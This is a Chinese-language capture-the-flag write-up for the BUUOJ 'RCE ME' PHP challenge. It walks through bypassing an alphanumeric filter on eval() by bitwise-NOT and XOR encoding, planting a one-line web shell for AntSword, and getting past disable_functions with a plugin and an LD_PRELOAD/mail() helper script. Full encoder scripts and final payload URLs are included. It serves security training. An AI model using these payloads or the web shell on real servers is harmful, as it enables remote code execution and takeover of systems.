本文最后更新于 2025-06-13T12:22:40+08:00
题目来源:[极客大挑战 2019]RCE ME 1
网址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]RCE%20ME
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } ?>
|
过滤了大小写字母和数字,并且对长度进行限制,不能大于40,进行取反绕过
将 PHP 代码 URL 编码后取反,传入参数后服务端进行 URL 解码,这时由于取反后,会 URL 解码成不可打印字符,从而可以绕过,在用的时候在前面加一个~
即可得到原本的命令
先查看phpinfo
1 2 3 4 5 6 7
| <?php $a = "phpinfo"; echo "(~" . urlencode(~$a) . ")();"; ?>
(~%8F%97%8F%96%91%99%90)();
|
1
| ?code=(~%8F%97%8F%96%91%99%90)()
|

没有flag,查看过滤函数disable_functions

禁用了如下函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| pcntl_alarm pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, system,exec, shell_exec, popen, proc_open, passthru, symlink, link, syslog, imap_open, ld, dl
|
构造shell,利用一句话木马连蚁剑
1
| assert(eval($_POST[1]));
|
assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,但也可以加上
1 2 3 4 5 6 7 8 9
| <?php $a = 'assert'; $payload1 = urlencode(~$a); echo $payload1."\n"; $b = '(eval($_POST[1]))'; $payload2 = urlencode(~$b); echo $payload2."\n"; echo "(~" . $payload1 . ")" . "(~" . $payload2 . ");" ?>
|
1
| ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6)
|
蚁剑连接

因为disable_functions
的存在无法直接读取flag

法一:利用蚁剑插件绕过
在根目录下有个readflag
,可以利用蚁剑的插件绕过disable_functions
,然后运行readflag
获取flag

选择PHP7_GC_UAF
,然后点击开始

直接运行readflag
即可

法二:利用LD_PRELOAD绕过
通过环境变量LD_PRELOAD+mail劫持so来执行系统命令
前置知识
WP文章:https://blog.csdn.net/xia739635297/article/details/104641082?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link
LD_PRELOAD bypass disable_functions:https://blog.csdn.net/xia739635297/article/details/104641082?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link
LD_PRELOAD
代码在编译成程序的时候有个过程叫链接:将所引用的函数和变量链接到可执行程序中
**静态链接:**编译过程中将所有的函数库链接完毕
**动态链接:**编译过程中不进行链接操作,在程序运行时再载入函数库
静态链接和动态链接的目的都是为了载入函数库
LD_PRELOAD
是与载入函数库相关的环境变量,作用就是再程序运行前优先加载指定的函数库
用LD_PRELOAD突破限制必须要把我们的共享库文件传到服务器上
使用LD_PRELOAD就是通过这个环境变量,覆盖掉正常的函数库中的函数
项目地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
做题
在/var/tmp
目录有上传文件的权限,上传exp(从git项目中下载的so和PHP文件)


bypass_disablefunc.php
内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path); ?>
|
对新payload进行异或绕过
1
| ?code=${GET}_;&=assert&_=eval($_POST['a'])
|
最终payload
1
| ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
|
